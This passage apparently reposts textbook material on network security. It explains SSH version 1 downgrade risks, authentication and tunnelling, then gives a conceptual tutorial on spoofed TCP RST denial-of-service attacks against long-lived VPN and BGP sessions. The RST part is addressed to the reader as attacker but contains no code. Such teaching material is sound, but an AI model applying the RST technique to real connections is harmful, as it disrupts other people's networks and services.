In order to protect against these attacks, you must disable support for SSH version 1 on the clients and servers that you use. Even if you support versions 1 and 2, an attacker may still be able to force you and a server to downgrade to version 1 in order to carry out a MITM attack. To disable version 1 on an OpenSSH server, remove the number "1" from the protocol line in the Sshd_config File. (See the Sshd_config Man page for more information.)

Damage & Defense…

The first steps of establishing an SSH connection are illustrated in Figure 8.12. After protocol and key exchange are complete, all traffic is sent as encrypted requests and replies. In the traffic capture, the Diffie-Helman key exchange is also used to authenticate the server.

After the server has been authenticated and an encrypted channel has been established, client authentication takes place. The server provides the client with a list of authentication methods that can be used, and the client tries the listed methods in any order. Some of the common methods of authentication used are Host-based, public key, And Password. With host-based authentication, the client machine and user names are compared to information stored in various files on the server, and if the information matches, the client is authenticated. This

Method is not very secure when used by itself. Public key authentication with algorithms such as Rivest, Shamir, & Adleman (RSA) and Digital Signature Algorithm (DSA) can also be used with the user authentication protocol. The RFC demands that all implementations of the protocol support this method. Finally, one of the most commonly used authentication methods is the password typed on the keyboard.

Figure 8.12 Ethereal Capture of SSH Key Exchange

Common Applications of SSH

SSH is commonly used for its remote shell capabilities, replacing insecure protocols such as RSH and Telnet. SSH clients can also be given a command to execute after login instead of a shell.

SFTP and Secure Copy (SCP) are extensions built on top of SSH to provide secure transfer capabilities between remote hosts. SFTP allows a user to login and interactively upload, download, and manipulate files. SCP is used to copy files between hosts in a more automated manner. In addition to the security benefits over FTP, SFTP also uses one connection for all traffic, eliminating the network filtering issues that arise from separate data connections.

SSH’s connection protocol allows a variety of traffic to be tunneled through an SSH connection (known as Port forwarding). As mentioned earlier, X11 and TCP/IP protocols can be forwarded on top of SSH to provide security. This allows insecure protocols to be deployed with the security of SSH, making SSH a very flexible protocol.

August 30th, 2010

Observing a RST Attack

Combining your knowledge of conducting SYN attacks and session hijacking, you examine another method of conducting DoS attacks against servers: spoofed RST packets.

RST packets are used to abruptly terminate a session. As such, once a RST packet is received, the resources associated with that connection are freed. This is the antithesis of the methodology applied in conducting a DoS attack with SYN packets; the RST attack is a special case that is only useful against certain connections.

Recall that with the SYN attack, the goal was resource consumption and prevent the opening of any new connections. RST attacks are the smart bomb to the SYN attack’s wonton destruction. The goal of the RST attack is to kill connections that rely on staying open for extended periods of time—for example, some of those employed by virtual private networks (VPNs) and by Border Gateway Protocol (BGP).

The TCP Window portion of the TCP header aids in attempting to exploit this vulnerability. The TCP Window is a number that indicates how many bytes can be sent before a host sends an ACK packet acknowledging receipt. This feature of TCP prevents the mess that would occur by acknowledging every single packet that is received.

RST packets call for the immediate termination of a connection. Also, any received RST packets that lie within the TCP Window are processed. This significantly shrinks the amount of sequence numbers that must be tried in order to break a connection. Unlike session hijacking, you do not have to guess the exact sequence number. The default window size on most TCP stacks reduces the amount of sequence numbers that you need to try by four orders of magnitude.